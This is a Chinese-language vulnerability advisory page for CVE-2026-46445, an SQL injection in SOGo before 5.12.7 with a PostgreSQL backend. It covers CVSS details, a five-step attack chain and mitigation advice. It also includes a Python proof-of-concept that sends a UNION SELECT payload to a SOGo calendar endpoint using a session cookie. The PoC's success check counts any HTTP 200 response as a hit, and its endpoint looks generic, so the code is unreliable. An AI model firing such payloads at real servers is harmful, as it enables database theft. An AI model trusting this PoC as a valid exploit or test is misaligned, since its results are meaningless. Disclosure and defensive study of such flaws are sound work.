CVE-2026-46445 CVSS 7.1 高危

CVE-2026-46445 SOGo SQL注入漏洞(PostgreSQL环境)

披露日期: 2026-05-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-46445

漏洞类型

SQL注入

CVSS评分

7.1 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

SOGo

漏洞概述

SOGo在5.12.7之前的版本中存在严重的安全漏洞。当SOGo配置使用PostgreSQL作为后端数据库时，由于应用程序未能对特定用户输入进行严格的过滤和转义，导致存在SQL注入漏洞。攻击者可通过网络利用此漏洞，在仅需低权限账户认证的情况下执行任意SQL语句。成功利用该漏洞可能导致敏感数据库信息泄露、数据完整性遭到破坏以及服务可用性下降。鉴于CVSS评分高达7.1，建议管理员立即采取修复措施。

技术细节

该漏洞的根源在于SOGo在构建数据库查询语句时，使用了不安全的字符串拼接方式，而非参数化查询。在使用PostgreSQL数据库的环境下，特定的API接口或功能模块未对用户可控的参数进行充分的边界检查。攻击者可以通过发送特制的HTTP请求，将恶意SQL代码注入到后端查询中。由于攻击复杂度被评估为高（AC:H），可能需要特定的条件才能触发。然而，一旦触发，由于无需用户交互（UI:N），攻击者可以自动化利用此漏洞。利用该漏洞可能导致数据库中的敏感信息（如用户凭证、邮件内容）被窃取（C:H），关键数据被篡改或删除（I:H），甚至可能导致数据库服务响应缓慢或崩溃（A:L）。

攻击链分析

STEP 1

侦察

攻击者识别出目标服务器正在运行SOGo，且后端数据库为PostgreSQL。

STEP 2

获取凭证

攻击者获取或注册一个低权限账户，满足PR:L（低权限）的要求。

STEP 3

构造Payload

攻击者针对易受攻击的接口构造特定的SQL注入Payload，旨在绕过输入验证。

STEP 4

发起攻击

攻击者向目标服务器发送包含恶意SQL代码的HTTP请求。

STEP 5

执行与窃密

后端数据库执行恶意SQL语句，返回敏感数据或执行写入操作，导致数据泄露或篡改。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL example
url = "http://target-sogo-server/SOGo/so/user/Calendar/view"

# Payload to test for PostgreSQL SQL Injection
# This attempts to append a query that checks the database version
payload = "1' UNION SELECT NULL, version(), NULL-- -"

# Headers simulating a low-privilege authenticated user session
headers = {
    "User-Agent": "Mozilla/5.0",
    "Cookie": "SOGoSID=valid_session_id_here;"
}

# Send the malicious request
try:
    response = requests.get(url, params={'view': payload}, headers=headers, timeout=10)
    
    # Analyze response
    if "PostgreSQL" in response.text or response.status_code == 200:
        print("[+] Potential SQL Injection vulnerability detected!")
        print("[+] Response snippet:", response.text[:200])
    else:
        print("[-] Exploit failed or target is patched.")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

影响范围

SOGo < 5.12.7

防御指南

临时缓解措施

如果无法立即升级，建议在网络层面部署WAF（Web应用防火墙），并配置针对SQL注入的规则，特别是PostgreSQL语法的检测规则。同时，应严格限制对SOGo服务的外网访问，仅通过VPN或内网访问，并加强对异常数据库查询行为的监控与日志审计。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表